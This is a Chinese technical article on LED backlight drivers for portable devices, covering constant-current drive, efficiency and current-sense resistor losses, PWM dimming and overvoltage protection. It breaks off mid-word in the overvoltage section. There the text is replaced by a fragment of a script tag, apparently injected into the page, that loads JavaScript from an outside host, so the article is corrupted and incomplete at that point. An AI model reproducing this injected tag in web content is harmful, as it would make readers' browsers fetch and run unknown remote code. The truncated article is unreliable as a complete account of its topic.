LED驱动器探讨

如今,众多的便携电子产品均需要背景灯led驱动器解决方案,其具有以下特性:直流控制、高效率、pwm调光、过压保护、负载断开、小型尺寸以及简便易用。本文将探讨每种led驱动器的特性以及实现这些特性的方法,最后将说明具备每种特性的典型电路。

  直流控制

  led是由电流驱动的器件,其亮度与正向电流呈比例关系。有两种方法可以控制正向电流。第一种方法是采用led v-i曲线来确定产生预期正向电流所需要向led施加的电压。其实现方法一般采用一个电压电源和一个镇流电阻器。图1说明了这种方法。如下所述,此方法有多项不足之处。led正向电压的任何变化都会导致led电流的变化。如果额定正向电压为3.6v,则图1中led的电流为20ma。如果电压变为4.0v,这是温度或制造变化引起的特定压变,那么正向电流则降低到14ma。正向电压变化11%会导致更大的正向电流变化,达30%。另外,根据可用的输入电压,镇流电阻的压降和功耗会浪费功率和降低电池使用寿命。

图1:带镇流电阻的电压电源导致效率降低和正向电流失配

  第二种方法、也是首选的led电流调整方法是利用恒流电源来驱动led。恒流电源可消除正向电压变化所导致的电流变化。 因此可产生恒定的led亮度,无论正向电流如何变化。产生恒流电源很容易。只需要调整通过电流检测电阻器的电压,而不用调整电源的输出电压。图2说明了这种方法。电源参考电压和电流检测电阻器值决定了led电流。在驱动多个led时,只需把它们串联就可以在每个led中实现恒定电流。驱动并联led需要在每个led串中放置一个镇流电阻,这会导致效率降低和电流失配。

图2:驱动led的恒流电源

  高效率

  便携式应用中电池使用寿命是至关重要的。led驱动器如果实用,就必须具备高效性。led驱动器的效率测量与典型电源的效率测量不同。典型电源效率测量的定义是输出功率除以输入功率。而对于led驱动器来说,输出功率并非相关参数。重要的是产生预期led亮度所需要的输入功率值。这可以简单地通过使led功率除以输入功率来确定。请注意:如果这样定义效率的话,则电流检测电阻器中的功耗会导致电源功率耗散。通过图3所示的公式,我们可以看出较小的电流传感电压会产生较高效率的led驱动器。图4说明了选用0.25v参考电压的电源与选用1v参考电压的电源相比,二者的效率提高情况。较低的电流传感电压电源更为有效,无论输入电压或led电流如何,只要其他条件相同,较低的参考电压都可以提高效率并延长电池的使用寿命。

图3:led驱动器效率显示了电流检测电阻器损耗的重要性

图4:低电流传感电压更有效

  pwm调光

  许多便携式led应用都需要进行光度调节。在lcd背光等应用中,调光功能可提供亮度及对比度调节。我们可采用两种调光方法:模拟与 pwm。利用模拟调光,通过向led施加50%的最大电流可实现50%的亮度。这种方法的缺点是会出现led颜色偏移并且需要采用模拟控制信号,因此使用率一般不高。以更低忙闲度向led施加满电流可实现pwm调光。在50%忙闲度施加满电流可达到50%亮度。为确保人的肉眼看不到pwm脉冲,pwm信号的频率必须高于100hz。最大pwm频率取决于电源启动与响应时间。为提供最大的灵活性以及集成简易性,led驱动器应能够接受高达50khz的pwm频率。

  过压保护

  在恒流模式中操作电源需要采用过压保护功能。无论负载为多少,恒流电源都可产生恒定输出电流。如果负载电阻增大,电源的输出电压也必须随之增大。 这就是电源保持恒流输出的方法。如果电源检测到过大的负载电阻,或者负载断开的话,输出电压可提高到超出ic或其他分立电路元件的额定电压范围。恒流led驱动器可采用多种过压保护方?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计